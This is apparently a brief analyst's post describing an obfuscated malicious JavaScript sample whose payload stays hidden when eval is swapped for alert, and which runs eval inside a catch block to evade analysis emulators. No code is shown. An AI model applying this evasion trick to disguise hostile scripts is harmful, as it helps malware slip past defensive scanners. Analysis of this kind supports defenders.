Interesting malicious script #2

This script has eval exposed, but simply replacing eval with alert won't show the malicious payload. In fact, only m[i] will be shown in the popup dialog. 

And the eval is executed in the catch block, which should be able to defeat a lot of emulators, as emulators usually disable exception for performance issue.
